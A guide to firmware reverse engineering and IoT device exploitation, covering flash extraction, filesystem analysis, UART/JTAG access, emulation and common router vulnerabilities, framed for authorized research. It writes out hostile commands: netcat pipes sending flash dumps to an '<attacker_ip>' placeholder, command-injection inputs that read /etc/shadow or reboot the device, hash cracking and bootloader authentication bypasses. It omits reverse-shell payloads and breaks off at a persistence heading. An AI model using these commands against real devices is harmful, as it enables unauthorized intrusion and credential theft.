Authorized environments only. Guide to extracting, analyzing, and exploiting firmware from embedded devices (routers, IoT devices, cameras, smart-home devices) for security research and vulnerability discovery. Operate on hardware/images you own or have written authorization to test; observe DMCA §1201 limits. See Legal & Ethics.
Table of Contents
- Overview
- Pre-Engagement & Authorization
- Firmware Acquisition
- Firmware Analysis
- Filesystem Extraction
- Binary Analysis
- Hardware Interfaces
- Emulation & Dynamic Analysis
- Common Vulnerabilities
- Exploitation Techniques
- Tools Reference
Overview
What is Firmware?
Firmware is software embedded in hardware devices that controls device functionality. Unlike desktop software, firmware:
- Runs on resource-constrained embedded processors (ARM, MIPS, PowerPC)
- Often uses custom Linux distributions (embedded Linux, BusyBox)
- May use Real-Time Operating Systems (RTOS) or bare-metal code
- Stored in non-volatile memory (flash, EEPROM, ROM)
Common embedded devices:
- Network devices: Routers, switches, access points, firewalls
- IoT devices: Smart cameras, door locks, thermostats, light bulbs
- Industrial control: PLCs (Programmable Logic Controllers), SCADA systems
- Consumer electronics: Smart TVs, set-top boxes, printers
- Automotive: Car infotainment systems, ECUs (Engine Control Units)
Why Reverse Firmware?
Security research:
- Discover vulnerabilities (command injection, authentication bypass, hardcoded credentials)
- Analyze encryption implementations
- Understand attack surface before pentesting
Compatibility & interoperability:
- Reverse proprietary protocols
- Enable third-party firmware (OpenWrt, DD-WRT)
Forensics:
- Recover deleted data from devices
- Analyze malware on IoT devices
- Incident response for compromised embedded systems
Threat Model
Attacker capabilities:
- Remote attacker: Network access only (web interface, network services)
- Local network attacker: LAN access (MITM, spoofing)
- Physical access: UART/JTAG debugging, firmware extraction, hardware modification
- Insider threat: Supply chain attacks, malicious firmware updates
Common attack vectors:
- Unauthenticated web interfaces
- Default/hardcoded credentials
- Command injection in web parameters
- Buffer overflows in network services
- Insecure firmware update mechanisms
Legal & Ethical Considerations
Legal risks:
- DMCA Section 1201 (US): Prohibits circumventing access controls (encryption, code signing)
- CFAA: Unauthorized access to computer systems
- Warranty void: Hardware modification may void warranties
- Responsible disclosure: Report vulnerabilities to vendors before public disclosure
Ethical guidelines:
- ✅ Security research on devices you own
- ✅ Responsible vulnerability disclosure (CVE, vendor coordination)
- ✅ Improving device security (custom firmware, patches)
- ❌ Attacking devices you don’t own without authorization
- ❌ Weaponizing vulnerabilities for malicious purposes
Pre-Engagement & Authorization
Firmware reverse engineering can permanently damage hardware (chip-off extraction, voltage glitching, decapsulation) and can cross statutory access-control lines (DMCA §1201, CFAA) before a single binary is loaded into a disassembler. Treat bench setup and the authorization paper trail as part of the engagement, not as paperwork done after the fact. The ### Legal & Ethical Considerations block under §Overview captures the field-specific reminders; this section is the engagement-start checklist.
Authorization Checklist
- Target hardware is your own property, a vendor-issued sample covered by a signed agreement, or in scope for a bug-bounty / VDP that explicitly permits firmware extraction and reversing.
- Destructive vs. non-destructive techniques scoped in writing — chip-off desoldering destroys the device; in-circuit SOIC clip reads are non-destructive but a stray write or shorted VCC can brick the board. Sacrificial donor unit on hand for any non-zero brick risk.
- SPI / I2C / JTAG / SWD / UART probing authorized; voltage glitching, EM fault injection, and chip decapsulation explicitly called out (or excluded) since they can permanently damage hardware and trip tamper sensors.
- DMCA §1201 security-research exemption applicability reviewed for US work — confirm the current Library of Congress triennial-cycle exemption is in effect (most recent renewal was the 2024 cycle [verify 2026-04-26]). CFAA boundary respected (your own devices fine; third-party devices without authorization → consult counsel).
- FCC Part 15 / CE / national equivalents acknowledged if any test step involves RF transmission, signal injection, or modified-emission devices coming up unexpectedly during boot.
- Supply-chain handling agreed: extracted firmware blobs, encryption keys, and signing material are not redistributed without vendor authorization or a clear DMCA exemption.
- Disclosure pathway (vendor PSIRT, ICS-CERT / CISA for OT and medical devices, platform triage) identified before reversing reveals exploitable findings.
- Jurisdictional and licence framing — see Legal & Ethics; do not re-derive here.
Lab Environment Requirements
- Dedicated ESD-safe bench: wrist strap, anti-static mat, grounded soldering iron and hot-air station kept separate from shared workspaces.
- Flasher and probe rig pre-tested on a sacrificial board before touching the target — typical kit: CH341A (3.3V SPI; 1.8V chips need a level shifter or a 1.8V variant rig), Bus Pirate, Saleae or DSLogic logic analyzer, J-Link / Black Magic Probe / ST-Link for SWD, FlashcatUSB or XGecu T48 / T56 for wider chip support [verify 2026-04-26].
- Emulation harness pre-built for the target architecture: Firmadyne (largely unmaintained — last meaningful upstream activity ~2020 [verify 2026-04-26]) / FAT / FirmAE for MIPS and ARM Linux images,
qemu-system-{arm,mips,ppc}for kernels, unicorn / qiling for selective binary emulation. Prefer FirmAE or FAT for new work; keep Firmadyne notes for legacy comparability. - Static-analysis project pre-loaded (Ghidra, Binary Ninja, IDA Pro, or radare2) with the correct processor variant, endianness, and load address before extraction begins so triage is not blocked on tool setup.
- Extraction sandbox isolated from the host: binwalk, unblob (OnekeyLab Rust+Python rewrite [verify 2026-04-26]), sasquatch, jefferson, ubi_reader run inside a VM or container — embedded archive parsers have a long history of path-traversal and decompression-bomb issues.
- OpenOCD or probe-rs configuration drafted for the target SoC (TAP IDCODE, IR length, voltage) before clipping onto a live board; misaligned voltage can damage the SoC or the probe. probe-rs is the actively-developed Rust-native option for ARM Cortex-M and RISC-V SWD/JTAG work [verify 2026-04-26]; OpenOCD remains the broader-architecture default.
- RF-bearing devices handled in a Faraday bag or shielded enclosure when transmitters can come up unexpectedly during boot or test.
Disclosure-Ready Posture
Set up evidence handling at engagement start so the report does not have to be reconstructed after the bug is found:
- Hash and timestamp the original firmware extraction immediately (
sha256sum dump.bin, store alongside extraction date, programmer model, VCC, and read-count) — re-reads taken later will diverge if the chip has wear-leveling, OTP regions, or counter-incrementing storage. - Board-photograph evidence: top and bottom of PCB, close-ups of every chip marking (manufacturer logo, part number, date code, lot code), board revision silkscreen, FCC ID / IC ID / CE marking, and the test-point / header layout used.
- Serial-console transcript captured to disk with timestamps (
tee,minicom -C, orpicocom --logfile) for any UART / U-Boot session — bootloader banners, kernel command lines, and early init output are often part of the disclosure write-up. - Vendor disclosure intake researched before reversing yields exploitable findings:
security.txt, PSIRT page, CNA scope (firmware vendors are often their own CNA), ICS-CERT / CISA for OT and medical devices, and any platform program (HackerOne, Bugcrowd, Intigriti) covering the device. - CVE reservation timeline drafted; if the bug touches multiple vendors (shared SDK, common Linux kernel CVE backport, OEM/ODM rebrand), embargo coordination scoped through the relevant CNA early.
- Evidence chain-of-custody logged per Collection Log; final report packaging, IOC defanging, and embargo communications follow Reporting, Packaging & Disclosure. OPSEC for tooling, accounts, and lab traffic per OPSEC Plan.
Firmware Acquisition
Method 1: Download from Vendor Website
Easiest method - many vendors provide firmware updates for download.
Finding firmware:
# Google search:
site:vendor.com "firmware update" "download"
# Example (TP-Link router):
# https://www.tp-link.com/us/support/download/
# Download firmware:
wget https://static.tp-link.com/...firmware.bin
# Verify hash (if vendor provides):
sha256sum firmware.bin
# Compare with vendor-provided SHA-256 hashFirmware update file types:
.bin- Raw binary image.img- Disk image.zip/.tar.gz- Compressed archive.trx- TRX firmware format (Broadcom routers).chk- Netgear firmware format- Vendor-specific formats (encrypted or obfuscated)
Method 2: Intercept Firmware Update
If vendor doesn’t provide direct download, intercept update traffic.
Setup:
# Wireshark capture during firmware update:
# 1. Start Wireshark on network interface
# 2. Filter: http or dns
# 3. Trigger firmware update from device web interface
# 4. Look for HTTP GET/POST to download URL
# Example captured URL:
# http://update.vendor.com/firmware/device_v1.2.3.bin
# Download:
wget http://update.vendor.com/firmware/device_v1.2.3.binHTTPS interception (if update is encrypted):
# Use Burp Suite or mitmproxy as HTTPS proxy:
# 1. Configure device to use proxy (if possible)
# 2. Install proxy CA certificate on device (if possible)
# 3. Capture firmware download URL
# If device validates certificate (common), this won't work
# Fall back to hardware extractionMethod 3: Extract from Flash Memory (Hardware)
Required when:
- Vendor doesn’t provide firmware
- Firmware is encrypted during updates
- Need to analyze modified/infected firmware
Hardware required:
- Flash programmer: Bus Pirate, CH341A USB programmer, Raspberry Pi
- Chip clip or soldering iron: To connect to flash chip
- Multimeter: To identify voltage levels
Common flash memory types:
| Type | Interface | Capacity | Common Use |
|---|---|---|---|
| SPI NOR Flash (25-series) | SPI (4-8 pins) | 1-256 MB (W25Q32/64/128/256, MX25-series common in 2026) [verify 2026-04-26] | Routers, IoT |
| SPI NAND Flash | SPI (4-8 pins) | 128 MB - 4 GB | Mid-range IoT, cameras |
| Parallel NAND Flash | Parallel (8/16-bit) | 128 MB - 32 GB | Smartphones, tablets |
| eMMC | MMC interface | 4-256 GB | Android devices, embedded Linux |
| UFS | High-speed serial | 32 GB - 1 TB | Modern smartphones [verify 2026-04-26] |
| I2C EEPROM (24-series) | I2C (2 pins) | 1-512 KB | Small devices, config storage |
Extracting SPI flash (most common):
Step 1: Identify flash chip
# Open device, locate flash chip on PCB
# Common SPI flash chips: Winbond W25Q32/64/128/256, Macronix MX25L/MX25R, GigaDevice GD25Q, ISSI IS25LP, Cypress/Infineon S25FL [verify 2026-04-26]
# Example chip markings:
# Winbond
# 25Q64FVSIG
# 1234567890 (date code)
# Datasheet: Google "W25Q64 datasheet" (or matching part number)
# Pinout (SOIC-8):
# Pin 1: /CS (Chip Select)
# Pin 2: DO (Data Out / MISO)
# Pin 3: /WP (Write Protect)
# Pin 4: GND
# Pin 5: DI (Data In / MOSI)
# Pin 6: CLK (Clock)
# Pin 7: /HOLD
# Pin 8: VCC (3.3V)Step 2: Connect flash programmer
Using CH341A USB programmer:
# CH341A wiring to SPI flash (SOIC-8):
# CH341A | SPI Flash Pin | Function
# --------- | ------------- | --------
# VCC (3.3V)| Pin 8 | Power
# GND | Pin 4 | Ground
# CS | Pin 1 | Chip Select
# MISO | Pin 2 | Data Out
# MOSI | Pin 5 | Data In
# CLK | Pin 6 | Clock
# Option 1: Use chip clip (no soldering)
# Attach SOIC-8 clip to chip while on PCB
# Option 2: Desolder chip (more reliable)
# Use hot air station or soldering iron
# Place chip in ZIF socket on CH341A programmerStep 3: Read flash memory
# Linux: Install flashrom (distro version is often old; build from
# https://github.com/flashrom/flashrom for the latest chip database) [verify 2026-04-26]
sudo apt install flashrom
# Detect flash chip:
sudo flashrom -p ch341a_spi
# Output:
# Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on ch341a_spi.
# (If the chip is unsupported, check `flashrom -L` or the upstream supported_chips.txt)
# Read flash (3 times to verify integrity):
sudo flashrom -p ch341a_spi -r firmware1.bin
sudo flashrom -p ch341a_spi -r firmware2.bin
sudo flashrom -p ch341a_spi -r firmware3.bin
# Verify all reads are identical (compare hashes):
sha256sum firmware*.bin
# All three should have same hash; differences usually mean a flaky clip
# contact, marginal VCC, or a chip with wear-leveling/OTP that mutates on read
# Use firmware1.bin for analysis. Hash and timestamp the canonical dump
# now (see Pre-Engagement → Disclosure-Ready Posture).
# Alternative client (no flashrom support for the chip): ch341prog
# https://github.com/setarcos/ch341prog [verify 2026-04-26] — read-only operations
# are typically safer to start with than program/erase.Using Raspberry Pi as SPI programmer:
# Enable SPI on Raspberry Pi:
sudo raspi-config
# Interfacing Options → SPI → Enable
# Wiring (Raspberry Pi GPIO to SPI flash):
# RPi GPIO | SPI Flash Pin | Function
# --------- | ------------- | --------
# Pin 1 (3.3V) | Pin 8 | Power
# Pin 6 (GND) | Pin 4 | Ground
# Pin 24 (CE0) | Pin 1 | Chip Select
# Pin 21 (MISO)| Pin 2 | Data Out
# Pin 19 (MOSI)| Pin 5 | Data In
# Pin 23 (SCLK)| Pin 6 | Clock
# Read flash:
sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=1000 -r firmware.binMethod 4: UART/Serial Console Extraction
If device has UART debug console, you may be able to dump firmware.
# Connect to UART (see Hardware Interfaces section)
# Common UART commands (BusyBox/Linux):
# Dump entire flash partition:
dd if=/dev/mtd0 | nc <attacker_ip> 1234
# On attacker machine:
nc -l -p 1234 > firmware.bin
# Or use base64 encoding (if binary transfer fails):
dd if=/dev/mtd0 | base64
# Copy output, decode on attacker machine:
base64 -d > firmware.binFirmware Analysis
Initial Triage
Determine firmware type and architecture:
# File type detection:
file firmware.bin
# Output examples:
# - "data" (raw binary, compressed, or encrypted)
# - "ELF 32-bit LSB executable, ARM" (Linux kernel or application)
# - "gzip compressed data" (compressed filesystem)
# - "Squashfs filesystem" (embedded filesystem)
# Binwalk: Identify embedded files/filesystems
binwalk firmware.bin
# Output:
# DECIMAL HEXADECIMAL DESCRIPTION
# --------------------------------------------------------------------------------
# 0 0x0 TRX firmware header
# 28 0x1C LZMA compressed data
# 1048576 0x100000 Squashfs filesystem, little endian, version 4.0
# 5242880 0x500000 JFFS2 filesystem, little endian
# Entropy analysis (detect encryption):
binwalk -E firmware.bin
# High entropy (close to 1.0) = encrypted or compressed
# Low entropy = uncompressed data
# Strings analysis (look for clues):
strings firmware.bin | grep -i "version\|copyright\|password\|root"Identify architecture:
# Look for ELF binaries in firmware (after extraction):
file bin/busybox
# Output: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1
# Common embedded architectures:
# - ARM (32-bit: ARMv7, 64-bit: ARMv8/AArch64)
# - MIPS (32-bit: MIPS32, 64-bit: MIPS64)
# - PowerPC (PPC)
# - x86/x64 (less common in embedded)Firmware Unpacking
Automated unpacking with binwalk:
# Extract all embedded files/filesystems:
binwalk -e firmware.bin
# Output directory: _firmware.bin.extracted/
# Contains extracted filesystems, compressed data, etc.
# Navigate to extracted filesystem:
cd _firmware.bin.extracted/squashfs-root/
ls -la
# Output: bin/ etc/ lib/ sbin/ usr/ var/ www/Modern alternative — unblob (OnekeyLab):
# unblob is a Rust+Python rewrite focused on accuracy, parallelism, and
# bounded extraction. Useful when binwalk mis-segments a container or
# silently drops a chunk. [verify 2026-04-26]
# https://github.com/onekey-sec/unblob
pipx install unblob
unblob -k -e extracted/ firmware.bin
# -k keeps intermediate carved blobs, -e sets the extraction root.
# Run inside a VM/container — same parser-attack-surface caveats as binwalk.Manual unpacking (if binwalk fails):
# Example: SquashFS at offset 0x100000
# Extract with dd and unsquashfs:
dd if=firmware.bin bs=1 skip=$((0x100000)) of=filesystem.squashfs
unsquashfs filesystem.squashfs
# Output: squashfs-root/
# Example: JFFS2 filesystem
dd if=firmware.bin bs=1 skip=$((0x500000)) of=filesystem.jffs2
# Mount JFFS2 (requires mtd-utils):
sudo modprobe mtdblock
sudo modprobe mtdram total_size=32768 erase_size=256
sudo dd if=filesystem.jffs2 of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2Handling encrypted firmware:
# Encryption detection:
binwalk -E firmware.bin
# High entropy across entire file = likely encrypted
# Decryption strategies:
# 1. Find decryption key in device memory (UART shell, if available)
# 2. Reverse firmware update process (find decryption routine in bootloader/updater)
# 3. Extract key from device flash (may be stored separately)
# 4. Hardware attacks (fault injection, side-channel analysis)
# Example: Find AES key in memory dump
strings memory_dump.bin | grep -E "^[0-9a-fA-F]{32}$" # 128-bit AES key (hex)Filesystem Extraction
Analyzing Extracted Filesystem
Key directories in embedded Linux:
# Navigate to extracted filesystem:
cd squashfs-root/
# Directory structure:
bin/ # Essential binaries (busybox, sh)
sbin/ # System binaries (init, ifconfig)
etc/ # Configuration files (passwd, shadow, init scripts)
lib/ # Shared libraries (libc, libpthread)
usr/ # User programs and libraries
var/ # Variable data (logs, tmp files)
www/ # Web server files (HTML, CGI scripts)
dev/ # Device files (usually empty in filesystem image)
proc/ # Process info (mounted at runtime)
tmp/ # Temporary filesSearching for Sensitive Information
Hardcoded credentials:
# Search for passwords in configuration files:
grep -r "password\|passwd\|pwd" etc/
# Common files with credentials:
cat etc/passwd # User accounts
cat etc/shadow # Password hashes (if present)
cat etc/config/* # Vendor-specific config files
# Example (TP-Link router):
cat etc/config/account
# username=admin
# password=21232f297a57a5a743894a0e4a801fc3 (MD5 hash of "admin")
# Search for API keys, tokens:
grep -r "api_key\|token\|secret" etc/ www/Backdoor accounts:
# Check for hidden admin accounts:
cat etc/passwd | grep -v "^#"
# Example backdoor:
# debug:x:0:0:Debug User:/root:/bin/sh (UID 0 = root)
# Check for SSH authorized_keys:
find . -name "authorized_keys" -exec cat {} \;Encryption keys:
# Search for SSL/TLS private keys:
find . -name "*.pem" -o -name "*.key"
# Example:
cat etc/ssl/private/server.key
# -----BEGIN RSA PRIVATE KEY-----
# ...Configuration files:
# Web server config:
cat etc/httpd.conf
cat etc/lighttpd/lighttpd.conf
# Telnet/SSH config:
cat etc/inetd.conf
cat etc/dropbear/dropbear_rsa_host_key
# Wireless config (routers):
cat etc/config/wireless
# Contains WiFi passwords, security settingsWeb Application Files
Analyzing web interfaces:
# Web root (common locations):
cd www/
# or
cd usr/www/
# or
cd home/httpd/
# Identify web server:
ps aux | grep httpd
# Common embedded web servers: lighttpd, boa, goahead, thttpd
# Analyze CGI scripts (common vulnerability source):
find www/ -name "*.cgi" -o -name "*.sh"
# Example CGI script:
cat www/cgi-bin/login.cgiCGI command injection example:
# Vulnerable CGI script (login.cgi):
#!/bin/sh
USERNAME=$1
PASSWORD=$2
# Vulnerable: unsanitized input passed to system command
/usr/bin/check_password $USERNAME $PASSWORD
# Exploitation (command injection via username parameter):
# http://router.ip/cgi-bin/login.cgi?username=admin;reboot;&password=pass
# Result: Router reboots due to injected "reboot" commandBinary Analysis
Analyzing Embedded Binaries
Common binary types:
- BusyBox: Single binary with multiple utilities (ls, cat, wget, etc.)
- Custom daemons: httpd, telnetd, dropbear (SSH), etc.
- Proprietary applications: Vendor-specific services
Disassembly tools:
# For ARM/MIPS binaries, use:
# - Ghidra (supports ARM, MIPS, PowerPC)
# - IDA Pro (commercial, excellent ARM/MIPS support)
# - Radare2 (free, supports many architectures)
# Example: Analyze httpd binary in Ghidra
# 1. Load bin/httpd in Ghidra
# 2. Select architecture: ARM:LE:32:v7 (or MIPS:LE:32:default)
# 3. Analyze with default settingsFinding vulnerabilities in binaries:
1. Stack buffer overflows:
// Vulnerable code (decompiled from httpd):
void handle_request(char *request) {
char buffer[256];
strcpy(buffer, request); // No bounds checking!
process_request(buffer);
}
// Exploitation: Send request > 256 bytes to overflow buffer2. Format string vulnerabilities:
// Vulnerable code:
void log_message(char *user_input) {
syslog(LOG_INFO, user_input); // User input directly in format string!
}
// Exploitation:
// Input: "%x %x %x %x" -> Leak stack memory
// Input: "%n" -> Write to arbitrary memory3. Command injection:
// Vulnerable code (CGI script analysis):
void ping_host(char *ip) {
char cmd[512];
sprintf(cmd, "ping -c 1 %s", ip); // Unsanitized input!
system(cmd);
}
// Exploitation:
// Input: "8.8.8.8; cat /etc/shadow"
// Executed command: "ping -c 1 8.8.8.8; cat /etc/shadow"Cross-Compilation for Testing
Set up cross-compiler:
# Install ARM cross-compiler (for ARM targets):
sudo apt install gcc-arm-linux-gnueabi g++-arm-linux-gnueabi
# Compile exploit:
arm-linux-gnueabi-gcc exploit.c -o exploit -static
# Install MIPS cross-compiler (for MIPS targets):
sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu
# Compile for MIPS:
mipsel-linux-gnu-gcc exploit.c -o exploit -staticHardware Interfaces
UART (Universal Asynchronous Receiver/Transmitter)
UART is a serial debug console, often exposed on PCB test points.
Finding UART pins:
# Visual inspection:
# Look for 3-4 pins labeled: TX, RX, GND, (VCC)
# Often located near main processor or edge of PCB
# Common UART pin configurations:
# 4-pin: VCC, TX, RX, GND
# 3-pin: TX, RX, GND (most common)
# Pin identification (if not labeled):
# 1. GND: Use multimeter continuity test to ground (e.g., USB shield)
# 2. VCC: Measure voltage with multimeter (3.3V or 5V when device powered)
# 3. TX: Voltage fluctuates during boot (transmits data)
# 4. RX: Voltage stable (receives data, safe to probe)UART connection:
# Hardware required:
# - USB-to-UART adapter (FTDI FT232, CP2102, PL2303)
# - Jumper wires
# - Multimeter (to identify pins)
# Wiring (device UART to USB adapter):
# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GND
# (Do NOT connect VCC unless necessary - power device separately)
# Determine baud rate (common: 115200, 57600, 38400, 9600)
# Try common baud rates in minicom/screen
# Linux: Connect via screen
screen /dev/ttyUSB0 115200
# Or use minicom:
sudo minicom -D /dev/ttyUSB0 -b 115200
# Windows: Use PuTTY or TeraTerm
# Serial, COM3, 115200 baud, 8N1UART baud rate detection (if unknown):
# Use logic analyzer or oscilloscope to measure bit timing
# Or try common rates:
for baud in 9600 19200 38400 57600 115200 230400; do
echo "Trying baud rate: $baud"
screen /dev/ttyUSB0 $baud
# Press Enter, look for readable output
# Ctrl+A, K to exit
doneUART shell access:
# Best case: Get root shell directly
# Output during boot:
# ...
# BusyBox v1.28.4 (2023-01-01 12:00:00 UTC) built-in shell (ash)
# Enter 'help' for a list of built-in commands.
#
# / # (root shell!)
# Commands to run:
cat /proc/cpuinfo # CPU architecture
cat /proc/mtd # Flash partitions
cat /proc/cmdline # Kernel boot parameters
ifconfig # Network configuration
ps aux # Running processes
cat /etc/passwd # User accounts
cat /etc/shadow # Password hashes (if readable)
# Dump firmware from UART:
dd if=/dev/mtd0 | nc <attacker_ip> 1234Bypassing authentication (if UART is password-protected):
# Method 1: Interrupt bootloader (U-Boot)
# Power on device, press Ctrl+C or Enter repeatedly during boot
# Drop into U-Boot shell:
# U-Boot>
# Common U-Boot commands:
printenv # Show environment variables
setenv bootargs "init=/bin/sh" # Boot directly to shell (bypass init)
boot # Boot with modified parameters
# Method 2: Edit kernel cmdline
setenv bootargs "console=ttyS0,115200 init=/bin/sh"
saveenv
boot
# Method 3: Single-user mode
setenv bootargs "console=ttyS0,115200 single"
bootJTAG (Joint Test Action Group)
JTAG is a hardware debugging interface (more powerful than UART).
JTAG capabilities:
- Full CPU control (set breakpoints, single-step execution)
- Memory read/write (dump firmware, modify RAM)
- Flash programming (write new firmware)
Finding JTAG pins:
# Common JTAG pin configurations:
# - 20-pin ARM JTAG (standard)
# - 14-pin JTAG (compact)
# - 10-pin Cortex Debug (ARM Cortex-M)
# - 5-pin JTAG (minimal: TDI, TDO, TMS, TCK, GND)
# Pin identification (if not labeled):
# Use JTAGulator (Joe Grand / Grand Idea Studio) or manual probing:
# https://github.com/grandideastudio/jtagulator [verify 2026-04-26]
# Open-source alternative: JTAGenum on Arduino / Teensy
# https://github.com/cyphunk/JTAGenum [verify 2026-04-26]
# Common pins:
# TDI - Test Data In
# TDO - Test Data Out
# TMS - Test Mode Select
# TCK - Test Clock
# TRST - Test Reset (optional)
# GND - GroundJTAG connection (using Bus Pirate or J-Link):
# Using OpenOCD (Open On-Chip Debugger) — broadest target coverage.
# probe-rs (https://probe.rs/) is the actively-developed Rust-native
# alternative for ARM Cortex-M and RISC-V SWD/JTAG work, with a single
# `probe-rs` CLI for flashing/debugging/RTT. [verify 2026-04-26]
sudo apt install openocd
# Example config (ARM device):
# openocd.cfg:
interface jlink
transport select jtag
adapter speed 1000
jtag newtap chip cpu -irlen 4 -expected-id 0x07926041
target create chip.cpu arm926ejs -chain-position chip.cpu
# Connect:
sudo openocd -f openocd.cfg
# In another terminal (telnet to OpenOCD):
telnet localhost 4444
# OpenOCD commands:
halt # Stop CPU
reg # Show registers
mdw 0x00000000 256 # Memory dump (256 words from 0x0)
dump_image firmware.bin 0x00000000 0x800000 # Dump 8MB from flash
reset # Reset deviceSPI (Serial Peripheral Interface)
See Firmware Acquisition → Extract from Flash Memory for SPI flash extraction.
Emulation & Dynamic Analysis
QEMU User-Mode Emulation
Emulate individual binaries (faster than full system emulation).
# Install QEMU user-mode:
sudo apt install qemu-user qemu-user-static
# Copy ARM/MIPS binary from firmware:
cp squashfs-root/bin/httpd .
# Run ARM binary on x86 host:
qemu-arm -L squashfs-root/ ./httpd
# -L: Specify library path (extracted filesystem)
# Run with strace (trace system calls):
qemu-arm -L squashfs-root/ -strace ./httpd
# Run MIPS binary:
qemu-mipsel -L squashfs-root/ ./httpdDebugging with GDB:
# Run binary in QEMU with GDB server:
qemu-arm -L squashfs-root/ -g 1234 ./httpd
# In another terminal, attach GDB:
gdb-multiarch ./httpd
(gdb) target remote localhost:1234
(gdb) break main
(gdb) continueQEMU System Emulation
Emulate entire device (router, IoT device).
# Extract kernel and filesystem from firmware:
binwalk -e firmware.bin
# Identify kernel:
file _firmware.bin.extracted/*
# Example: _firmware.bin.extracted/1C: Linux kernel ARM boot executable zImage
# Extract kernel (if compressed):
binwalk -e _firmware.bin.extracted/1C
# Run in QEMU (ARM example):
qemu-system-arm \
-M versatilepb \
-kernel vmlinux \
-initrd filesystem.cpio \
-append "root=/dev/ram console=ttyAMA0" \
-nographic
# Common QEMU machine types:
# -M versatilepb (ARM)
# -M malta (MIPS)
# -M virt (generic ARM/MIPS)Firmadyne / FAT / FirmAE (Automated Firmware Emulation)
Firmadyne automates firmware emulation and vulnerability testing. Upstream activity has been minimal since ~2020 [verify 2026-04-26]; for new work prefer FirmAE (pr0v3rbs/FirmAE [verify 2026-04-26]) or FAT (Firmware Analysis Toolkit, see below) which both build on Firmadyne and add modern fix-ups for boot/network bring-up. Steps below remain useful for legacy comparability.
# Install Firmadyne:
git clone https://github.com/firmadyne/firmadyne.git
cd firmadyne
./download.sh # Download pre-built binaries
# Setup database:
sudo apt install postgresql
sudo -u postgres createuser -P firmadyne # Set password
sudo -u postgres createdb -O firmadyne firmware
# Import firmware database:
psql -d firmware -U firmadyne < ./database/schema
# Analyze firmware:
./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk firmware.bin images
# Emulate firmware:
./scripts/getArch.sh ./images/1.tar.gz
./scripts/makeImage.sh 1
./scripts/inferNetwork.sh 1
./scripts/run.sh 1
# Access emulated device:
# Network: 192.168.0.1 (or as detected)
# Web interface: http://192.168.0.1/FAT (Firmware Analysis Toolkit)
FAT is a wrapper around Firmadyne with additional features.
# Install FAT:
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh
# Run analysis:
./fat.py firmware.bin
# Output:
# - Extracts firmware
# - Emulates in QEMU
# - Runs vulnerability scanners (Nmap, Nessus)
# - Generates reportCommon Vulnerabilities
Authentication Bypass
Hardcoded credentials:
# Found in etc/passwd or config files:
# Username: admin
# Password: admin (or default password)
# MD5 hash in config:
# password=21232f297a57a5a743894a0e4a801fc3
# Crack with hashcat:
hashcat -m 0 -a 0 hash.txt rockyou.txt
# Result: adminBackdoor accounts:
# etc/passwd entry:
debug:x:0:0:Debug:/root:/bin/sh
# Login via telnet/SSH:
telnet 192.168.1.1
# Username: debug
# Password: (empty or default)Authentication logic flaws:
// Vulnerable authentication (decompiled from httpd):
if (strcmp(username, "admin") == 0) {
if (strcmp(password, stored_password) == 0) {
authenticated = 1;
}
}
// Bypass: If username != "admin", authentication check is skipped
// Exploit: Use any username except "admin" (no password needed)Command Injection
CGI parameter injection:
# Vulnerable CGI script (/cgi-bin/ping.cgi):
#!/bin/sh
IP=$QUERY_STRING
ping -c 1 $IP > /tmp/ping.txt
cat /tmp/ping.txt
# Exploitation:
curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;id"
# Executed command: ping -c 1 8.8.8.8;id
# Output: uid=0(root) gid=0(root) groups=0(root)
# Reverse-shell escalation (payload neutralised — defensive/educational scope):
# Same primitive as the `;id` probe above, but the injected command becomes a
# reverse-shell invocation pointing back to operator-controlled infrastructure.
# Working syntax: see HackTricks → "Reverse Shell Cheatsheet" (book.hacktricks.wiki).
# curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;<URL-encoded reverse-shell payload>"HTTP header injection:
// Vulnerable code:
void handle_user_agent(char *user_agent) {
char cmd[512];
sprintf(cmd, "echo %s >> /tmp/log", user_agent);
system(cmd);
}
// Exploitation (User-Agent header — neutralised; pattern only):
// The header value injects a shell metacharacter that is interpreted by the
// system() call, allowing arbitrary command execution under the httpd user.
// Working payloads: see PayloadsAllTheThings → "Command Injection".
User-Agent: test; <command of attacker's choosing>Buffer Overflows
Stack-based overflow:
// Vulnerable code (httpd):
void process_url(char *url) {
char buffer[256];
strcpy(buffer, url); // No bounds checking
// ...
}
// Exploitation (send long URL):
# Python exploit:
payload = b"A" * 300
requests.get(f"http://router.ip/{payload}")
# Result: Crash (or RCE with proper exploit)Insecure Firmware Updates
Unsigned firmware updates:
# Firmware update without signature verification
# Attacker can upload malicious firmware
# Exploitation:
# 1. Modify legitimate firmware (inject backdoor)
# 2. Upload modified firmware via web interface
# 3. Device installs malicious firmwareFirmware downgrade attacks:
# If device allows downgrade to older, vulnerable firmware:
# 1. Upload old firmware with known vulnerabilities
# 2. Exploit old vulnerabilitiesWeak Cryptography
Hardcoded encryption keys:
# Found in binary or config:
AES_KEY = "1234567890ABCDEF1234567890ABCDEF"
# Use key to decrypt firmware or communicationsWeak password hashing:
# MD5 hashed passwords (etc/shadow):
admin:21232f297a57a5a743894a0e4a801fc3:0:0::/root:/bin/sh
# Crack with hashcat:
hashcat -m 0 hash.txt rockyou.txtExploitation Techniques
Gaining Shell Access
Method 1: Command injection
# Find an injectable parameter (ping, traceroute, etc.) and chain a payload.
# Reverse-shell payload neutralised — defensive/educational scope.
# Working syntax (architecture-specific): HackTricks → "Reverse Shell Cheatsheet";
# Metasploit msfvenom payloads: linux/mipsle/shell_reverse_tcp,
# linux/armle/shell_reverse_tcp, etc. — match to the target ABI you've
# verified during firmware analysis.
# Operator obligation: confirm RoE permits an interactive callback before staging.Method 2: Telnet/SSH with extracted credentials
# Found in etc/passwd:
# root:x:0:0::/root:/bin/sh
# Found in etc/shadow:
# root:$1$xyz...:0:0::/root:/bin/sh
# Crack hash or use default password
# Login via telnet:
telnet router.ip
# root / <password>Method 3: UART shell
# Connect to UART (see Hardware Interfaces section)
# Interrupt boot, modify bootargs to spawn shell:
setenv bootargs "init=/bin/sh"
bootPersistence Mechanisms
Method 1: Modified firmware (persistence via image repack)
